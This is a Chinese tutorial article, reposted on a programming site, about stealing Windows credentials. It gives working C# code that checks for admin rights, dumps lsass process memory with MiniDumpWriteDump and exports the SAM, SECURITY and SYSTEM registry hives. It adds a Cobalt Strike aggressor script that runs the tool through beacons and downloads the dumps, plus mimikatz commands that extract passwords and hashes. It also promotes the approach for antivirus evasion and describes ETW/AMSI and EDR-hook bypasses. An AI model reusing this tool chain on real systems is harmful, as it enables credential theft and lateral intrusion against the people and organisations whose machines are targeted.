服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - C# - C# dump系统lsass内存和sam注册表详细

C# dump系统lsass内存和sam注册表详细

2022-12-06 11:22unicodesec C#

这篇文章主要介绍了C# dump系统lsass内存和sam注册表,在这里选择 C# 的好处是体积小,结合 loadAssembly 方便免杀,希望对读者们有所帮助

1、检测权限

因为dump系统lsass内存和sam注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。

?
1
2
3
4
5
6
7
8
public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass内存

MiniDumpWriteDumpMS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump,利用MiniDumpWriteDump实现dump lsass内存的功能,先加载MiniDumpWriteDump函数。

?
1
2
3
4
5
6
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);

之后调用函数,并保存dump文件,代码如下所示:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、实现reg save保存sam注册表

首先导入需要用到的API。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
    UIntPtr hKey,
    string subKey,
    int ulOptions,
    int samDesired,
    out UIntPtr hkResult
);
 
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern int RegSaveKey(
    UIntPtr hKey,
    string lpFile,
    IntPtr lpSecurityAttributes
);
 
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
    UIntPtr hKey
);

然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件会被dumptemp目录下,然后对所有dump成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。

4、关于ExecuteAssembly

ExecuteAssembly是CS可执行组件的一个替代方案,ExecuteAssembly基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。

ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManagerStomping加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash哈希算法)实现隐藏导入。

当前metasploit-frameworkCobalt Strike都已经实现了ExecuteAssembly功能,下面主要以Cobalt Strike为例,实现dump系统lsass内存和sam注册表的功能

5、CS 插件

以结合 Cobalt Strike 为例,编写一个简单的cna脚本。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));
   
        }
    }
}

加载脚本后,执行SharpDump,结果如下所示:

C# dump系统lsass内存和sam注册表详细

下载存放在temp目录下的dump.gz,然后使用Decompress解压,最后使用mimikatz 解密用户lsass.dmpsam文件

?
1
2
3
4
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
 
 
lsadump::sam /sam:sam.hiv /system:system.hiv

到此这篇关于C# dump系统lsass内存和sam注册表详细的文章就介绍到这了,更多相关C# dump系统lsass内存和sam注册表内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://www.tuicool.com/articles/Y7RfYn6

延伸 · 阅读

精彩推荐
  • C#C#中给Excel添加水印的具体方法

    C#中给Excel添加水印的具体方法

    这篇文章主要介绍了C#中如何给Excel添加水印,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...

    Yesi12302021-12-07
  • C#C# 日历类功能的实例代码

    C# 日历类功能的实例代码

    本文通过实例代码给大家介绍了C# 日历类的相关知识,非常不错,具有参考借鉴价值,需要的朋友参考下吧...

    孤者自清6222022-01-11
  • C#C# 字符串与unicode互相转换实战案例

    C# 字符串与unicode互相转换实战案例

    这篇文章主要介绍了C# 字符串与unicode互相转换实战案例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    棉晗榜7972022-10-27
  • C#c#使用EPPlus封装excel表格导入功能的问题

    c#使用EPPlus封装excel表格导入功能的问题

    这篇文章主要介绍了c#使用EPPlus封装excel表格导入功能的问题,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以...

    崩坏的领航员4112022-11-12
  • C#C#对Word文档的创建、插入表格、设置样式等操作实例

    C#对Word文档的创建、插入表格、设置样式等操作实例

    今天小编就为大家分享一篇C#对Word文档的创建、插入表格、设置样式等操作实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    罗氏钱币10822022-02-23
  • C#C#中使用FilleStream实现视频文件的复制功能

    C#中使用FilleStream实现视频文件的复制功能

    这篇文章主要介绍了C#中使用FilleStream实现视频文件的复制功能,本文通过实例代码给大家介绍的非常想详细,具有一定的参考借鉴价值,需要的朋友可以参...

    霸道流氓9392022-08-04
  • C#C#实现多线程写入同一个文件的方法

    C#实现多线程写入同一个文件的方法

    这篇文章主要介绍了C#实现多线程写入同一个文件的方法,涉及C#多线程操作文件读写的相关技巧,具有一定参考借鉴价值,需要的朋友可以参考下...

    我心依旧5942021-10-20
  • C#详解C#面相对象编程中的继承特性

    详解C#面相对象编程中的继承特性

    这篇文章主要介绍了C#面相对象编程中的继承特性,是C#入门学习中的基础知识,需要的朋友可以参考下...

    C#教程网9722021-11-09